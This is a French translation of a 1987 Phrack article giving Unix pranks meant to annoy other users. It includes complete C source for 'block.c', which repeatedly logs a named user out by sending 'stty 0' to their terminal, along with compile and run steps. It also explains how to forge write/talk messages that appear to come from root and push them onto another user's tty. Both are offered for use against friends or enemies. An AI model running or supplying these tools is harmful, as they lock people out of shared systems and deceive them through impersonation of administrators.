===== Phrack Magazine presente le  Phrack 15 =====

                         ===== Article 2 sur 8 =====

J'ai pensé avoir écrit tout ce qu'il est possible d'écrire au sujet du
système d'exploitation Unix jusqu'à ce que je sois récemment invité à
publier encore un autre article ... aussi j'ai dit "j'essayerai, mais ne
publiez pas mon article en même temps que celui de The Radical Rocker
cette fois-ci !" Ces demandes m'ayant été accordées, j'ai démarré le PC
et je me suis mis au travail ...

           --- ------ -------- ---- -------- - ----- ---- ----
         % Des choses toujours plus stupides à faire sous Unix ! %
           --- ------ -------- ---- -------- - ----- ---- ----

                            Par Shooting Shark
                          Soumis le 26 août 1987

                             Traduit par Deny
                        <deny chez monaco point net>

Ces deux sujets sont des méthodes destinées à ennuyer les autres
utilisateurs du système et en général à se comporter comme un parasite. 
Mais auriez-vous aimé consulter un article consacré à faire des choses
constructives sous Unix ?  Je ne pense pas ...



-- ------ --- ------------ -- ------ -- -------
1. Garder les utilisateurs en dehors du système
-- ------ --- ------------ -- ------ -- -------

À présent, tout le monde sait comment fermer la session d'utilisateurs
(une méthode est de rediriger une commande "stty 0" vers leur tty) mais à
moins que vous n'ayez les privilèges root, cela ne fonctionnera pas si un
utilisateur à définit "mesg n" et empêché d'autres utilisateurs d'écrire
sur leur terminal.  Toutefois, même les utilisateurs qui ont une commande
"mesg n" dans leur fichier .login (ou .profile ou .cshrc) risquent encore
d'être vulnérable, entre le temps ou ils ouvrent et ou ils bloquent leur
terminal.  J'ai conçu le programme suivant, block.c, pour tirer profit de
cette faille.

Pour faire fonctionner ce source sur votre système Unix favori,
téléchargez-le, nommez-le block.c et saisissez ce qui suit à l'invite de
commande % ou $ :

cc -o block block.c

une fois que vous avez réussi à le compiler, il est exécuté de la manière
suivante :

block username [&]

Le & est facultatif mais recommandé - il exécute le programme en tâche de
fond, vous permettant de ce fait de faire autre chose pendant qu'il est
en action.

Si l'utilisateur indiqué est connecté actuellement, le programme le
déconnecte immédiatement (si c'est possible) et attend que l'utilisateur
se reconnecte.  S'il n'ést pas connecté, il commence par attendre.  Si
l'utilisateur est connecté actuellement mais que ses messages ne sont pas
disponibles, vous devez attendre jusqu'à ce qu'il soit déconnecté pour
lancer le programme.

Block est essentiellement une boucle infinie : il continue de chercher
l'occurrence du nom d'utilisateur dans /etc/utmp. Quand il le trouve, il
le déconnecte sur le champ et continue.  Si pour quelque raison la
tentative de déconnexion échoue, le programme s'arrête.
Normalement, cela ne se produira pas - le programme est très rapide quand
il est exécuté sans modifications. Cependant, pour obtenir de telle
performance, il exécute une boucle très courte et qui consommera beaucoup
de ressources processeur.  Notez que vers la fin du programme, il y a la
ligne :

/*sleep(SLEEP)   */

Le /* et le */ sont des délimiteurs de commentaires - dans cet exemple,
la ligne est commentée. Si vous supprimez les commentaires et recompilez
le programme, il entrera dans une période de "sommeil" pendant le nombre
de secondes définit par SLEEP (5 par défaut) à la fin de chaque boucle. 
Cela épargnera la charge du système mais diminuera légèrement la chance
d'attraper l'utilisateur pendant sa "période de vulnérabilité".

Si vous avez la chance d'exécuter ce programme sur un ordinateur de
laboratoire dans une école ou dans un endroit similaire, lancez ce
programme sur un ami (ou un ennemi) et observez sa réaction quand il
essaie à plusieurs reprises de se connecter et qu'il est déconnecté avant
d'avoir pu faire "quoique ce soit".  C'est assez drôle.  Ce programme est
aussi assez malfaisant et peut vous valoir pas mal d'ennemis !

Avertissement #1 : notez que si vous exécutez le programme sur vous-même,
vous serez déconnecté, le programme continuera à fonctionner (selon le
shell utilisé) et vous vous serez enfermé vous-même en dehors du système,
donc ne le faites pas !

Avertissement #2 : j'ai écrit ceci sous OSx version 4.0, qui est une
version autorisée d'Unix< qui implémente 4.3bsd et AT&T sysV. Il n'y a
aucune garantie qu'il fonctionne sur votre système.	

Avertissement #3 : si vous exécutez ce programme en tâche de fond,
n'oubliez pas de l'arrêter quand vous n'en avez plus besoin ! (quand vous
l'exécutez avec "&", le shell vous attribuera un numéro de tâche, tel que
"[2] 90125".  Si vous voulez l'arrêter plus tard pendant la même session,
saisissez "kill %2".  Si vous ouvrez une session plus tard et voulez le
stopper, saisissez "kill 90125".  N'hésitez pas à lire la page man de la
commande kill si vous avez besoin d'aide ...


----- couper ici -----

/* block.c -- prevent a user from logging in
 * by Shooting Shark
 * usage : block username [&#64;]
 * I suggest you run this in background.
 */

#include &#60;stdio.h&#62;
#include &#60;utmp.h&#62;
#include &#60;ctype.h&#62;
#include &#60;termio.h&#62;
#include &#60;fcntl.h&#62;

#define W_OK2
#define SLEEP5
#define UTMP"/etc/utmp"
#define TTY_PRE "/dev/"

main(ac,av)
int ac;
char *av[];
{
int target, fp, open();
struct utmpuser;
struct termio*opts;
char buf[30], buf2[50];

if (ac != 2) {
printf("usage : %s username\n",av[0]);
exit(-1);
}


for (;;) {

if ((fp = open(UTMP,0)) == -1) {
printf("fatal error!  cannot open %s.\n",UTMP);
exit(-1);
}


while (read(fp, &#64;user, sizeof user) > 0) {
if (isprint(user.ut_name[0])) {
if (!(strcmp(user.ut_name,av[1]))) {

printf("%s is logging in...",user.ut_name);
sprintf(buf,"%s%s",TTY_PRE,user.ut_line);
printf("%s\n",buf);
if (access(buf,W_OK) == -1) {
printf("failed - program aborting.\n");
exit(-1);
}
else {
if ((target = open(buf,O_WRONLY)) != EOF) {
sprintf(buf2,"stty 0 > %s",buf);
system(buf2);
printf("killed.\n");
sleep(10);
}

} /* else */
} /* if strcmp */
} /* if isprint */
} /* while */
close(fp);

/*sleep(SLEEP);  */

} /* for */


}

----- couper ici -----

-- ------- -------- ------------ ---- ----- -- ----
2. Immiter d'autres utilisateurs avec write et talk
-- ------- -------- ------------ ---- ----- -- ----


La prochaine astuce n'est pas exactement un travail spécialement
étourdissant, mais c'est un petit tour (que chacun peut faire) que
j'emploie parfois pour m'amuser et, comme avec ce qui précède, ennuyer
mes amis et mes ennemis.

Presque chaque système Unix a une application "write", pour dialoguer
avec d'autres utilisateurs connectés.  Voici un rapide résumé :

Si vous voyez que l'utilisateur "clara" est connecté grâce à la commande
"who", " w" ou autre, et que vous souhaitez lui parler pour quelque
raison, vous saisirez "write clara".  Clara verra alors s'afficher sur
son écran quelque chose de ce genre (en admettant que vous soyez
l'utilisateur "shark") :


[3 ^G's] Message from shark on ttyi13 at 23:14 ...


Vous pourrez alors lui écrire, et ce que vous écrirez sera transmis vers
son terminal ligne par ligne.  Si elle veut dialoguer avec vous plutôt
que monologuer, elle saisira "write shark", et vous obtiendrez un message
similaire à ce qui précède sur votre terminal, et vous pourrez dialoguer
l'un l'autre selon votre bon vouloir.  Si l'un d'entre vous souhaite
abréger la conversation, il saisira ^D. Ils verront alors s'afficher les
caractères EOF sur leur écran, mais ils pourront encore s'écrire jusqu'à
ce qu'ils saisissent ^D

Maintenant, si vous disposez d'une plus vaste installation, vous aurez
probablement une certaine sorte de programme pleine-écran tel que "talk".
Ma version de talk envoie le message suivant :


Message from Talk_Daemon@tibsys at 23:14 ...
talk: connection requested by shark@tibsys.
talk: respond with:  talk shark@tibsys


En tout cas, c'est ici que la plaisanterie commence : Il est plutôt
simple d'insérer un exemple de message généré par "write" ou "talk" dans
un fichier et de l'éditer ensuite de sorte que le "from" soit une autre
personne et que le terminal soit nommé différemment.  Si vous voyez que
votre ami simplet roger est sur ttyi10 et que root s'avère aussi être
connecté sur ttyi01, forgez un dossier de la sorte :


[3 control-G's] Message from root on ttyi01 at [the current time]

wackawackawackawackawacka!!!
[ou un message aussi confus et grossier&nbsp;...]

EOF

Ensuite, transmettez ce fichier au terminal de roger avec :

cat filename > /dev/ttyi10

Il recevra le message sur son terminal et se demandera de quoi le
super-utilisateur veut bien parler.  Il se pourrait même qu'il réponde à
l'administrateur avec l'intention de lui demander "mais que diable me
voulez-vous ?".  Pour une efficacité maximale, envoyez simultanément un
message à root avec comme expéditeur roger dans le terminal approprié
avec un texte aussi incongru - ils engageront alors une conversation dans
ce genre : "qu'est ce que vous voulez dire ?", "Qu'entendez-vous par
qu'est ce que je veux dire ?" "Qu'entendez-vous par la ?" etc.  Du bon
temps garantit pour tous !  Notez que vous n'avez pas besoin de mettre
sous root l'auteur de la plaisanterie, n'importe quelle paire
d'utilisateurs connectés ayant un terminal propre à recevoir des messages
peut se joindre à la plaisanterie.

De même, on peut falsifier quelques pages générées par "talk" entre deux
personnes ... elles commenceront probablement alors par dialoguer ... si
bien que la conversation se déroulera selon le mode "que voulez-vous ?"
"vous me parlez." "Vous m'embêtez, _vous_ me parlez!" etc, pendant que
vous rirez bêtement ou quelque chose comme çà.

Une variation sur ce thème :  Ainsi que je l'ai dit, quand on emploie
"write" on saisit un ^D pour finir la conversation, et la personne à qui
vous écrivez voit s'afficher EOF sur son écran. Mais il est aussi
possible de saisir simplement EOF, et on pensera que vous avez fini ...
mais vous êtes toujours connecté à leur terminal.  Même si plus tard ils
cessent d'envoyer des messages, vous avez encore la possibilité d'écrire
sur leur terminal.

En gardant ceci à l'esprit, quiconque sachant ce qu'il fait peut écrire
un programme semblable à mon programme "block" ci-dessus qui ne
déconnecte pas un utilisateur quand il apparaît dans le système, mais
ouvre son tty en tant que périphérique et garde le descripteur de fichier
en mémoire de sorte que vous pouvez retransmettre vers son terminal -
pour écrire des messages grossiers, les déconnecter ou ce que vous voulez
- à tout moment, jusqu'à ce qu'ils s'en aillent.

Ainsi que je l'ai dit, il n'y a pas beaucoup d'ingéniosité dans le
discours ci-dessus, mais c'est un passe-temps que j'apprécie de temps en
temps ...	

-- Shooting Shark

"la première chose à voir est qu'unix n'a pas été développé avec la
sécurité, quelqu'en soit le sens réel, à l'esprit..."

-- Dennis M. Ritchie

"Oryan QUEST ne pourrait pas s'infiltrer dans un system UNIX, laissez-le
essayez."

-- Tharrys Ridenow